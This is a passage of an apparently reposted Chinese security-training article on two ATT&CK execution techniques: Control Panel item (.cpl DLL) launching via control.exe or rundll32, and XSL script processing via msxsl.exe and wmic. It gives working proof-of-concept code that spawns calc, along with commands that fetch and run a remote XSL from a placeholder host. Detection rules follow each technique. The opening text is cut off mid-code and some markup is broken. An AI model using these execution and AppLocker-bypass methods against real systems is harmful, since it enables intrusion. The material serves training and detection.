如果要评选网络安全界近年热词排行的话,那么ATTwindows.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe /c calc", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
这里我们用了点取巧的办法,直接将代码写在了attach里面,将上述代码编译为dll文件CPIApplet.dll(可以随意命名),然后将CPIApplet.dll重命名为CPIApplet.cpl
技术复现
control.exe c:\users\W10PC1\desktop\CPIApplet.cpl //这里cpl一定要采用绝对路径否则失败
技术复现(双击)
技术复现(使用导出函数Control_RunDLL)
rundll32.exe shell32.dll,Control_RunDLL c:\users\W10PC1\desktop\CPIApplet.cpl
威胁检测
数据源:API监视,二进制文件元数据,DLL监视,Windows注册表,Windows事件日志,进程命令行参数,进程监视
进程特征:(级别:高)
# 无论是通过control.exe执行、还是双击,最后都会通过rundll32调用shell32的导出函数Control_RunDLL来运行payload
Image contains 'rundll32.exe' AND CommandLine contains 'Shell32.dll' AND CommandLine contains 'Control_RunDLL' AND CommandLine regex '^.*\.cpl$'
进程特征:(级别:仅审计)
# 执行的payload文件后缀名不一定是cpl,可以是任意后缀,为了防止被绕过检测。需要记录其他相关调用Control_RunDLL API的行为
Image contains 'rundll32.exe' AND CommandLine contains 'Shell32.dll' AND CommandLine contains 'Control_RunDLL'
T1220 XSL Script Processing
XSL 指扩展样式表语言(EXtensible Stylesheet Language)。万维网联盟 (W3C) 开始发展 XSL 的原因是:存在着对于基于 XML 的样式表语言的需求。在红蓝对抗中,使用XSL文件执行恶意代码有时可以帮助我们绕过APPLocker。下面介绍两种利用手段。
命令执行
技术复现(MSXSL.EXE)
msxsl.exe是微软用于命令行下处理XSL的一个程序,通过它我们可以执行XSL内的JavaScript进而执行系统命令。下载地址:https://www.microsoft.com/en-us/download/confirmation.aspx?id=21714。msxsl命令行接收形为 msxsl.exe {xmlfile} {xslfile} 的参数。由于XSL算是一种特殊的XML,我们可以使用msxsl.exe {xslfile} {xslfile}调用xsl文件内的命令。
Ail.xsl
?xml version='1.0'?>
xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="https://www.dbappsecurity.com.cn">
msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return nodelist.nextNode().xml;
}
/msxsl:script>
xsl:template match="/">
xsl:value-of select="user:xml(.)"/>
/xsl:template>
/xsl:stylesheet>
本地执行
msxsl.exe Ail.xsl Ail.xsl
远程执行
msxsl.exe http://xxx.xxx.xxx.xxx/Ail.xsl http://xxx.xxx.xxx.xxx/Ail.xsl
技术复现(WMIC.EXE)
wmic可以通过形如:wmic.exe {wmiccommand} /FORMAT:{xslfile}的方式执行xsl内的恶意代码。{wmic command内可以填写任意的wmic可执行的命令}
本地执行
wmic process get name /format:Ail.xsl
远程执行
wmic process get name /format:"http://xxx.xxx.xxx.xxx/Ail.xsl" //这里的format后的网址一定要加上双引号不然会报错
威胁检测
数据源:进程监视,进程命令行参数,网络的进程使用,DLL监视
MSXSL.EXE
进程特征:(级别:高)
#当MSXSL.EXE作为父进程创建其他进程时视为可疑
ParentImage regex '^.*msxsl\.exe$'
加载项特征:(级别:高)
#当MSXSL.EXE加载jscript.dll时视为可疑
Image regex '^.*msxsl\.exe$' AND ImageLoaded contains 'jscript.dll'
WMIC.EXE
加载项特征:(级别:高)
#当WMIC.EXE加载jscript.dll视为可疑
Image regex '^.*wmic\.exe$' AND ImageLoaded contains 'jscript.dll'
转载请注明来自网盾网络安全培训,本文标题:《ATT&CK攻防初窥系列--执行篇(一)》
- 关于我们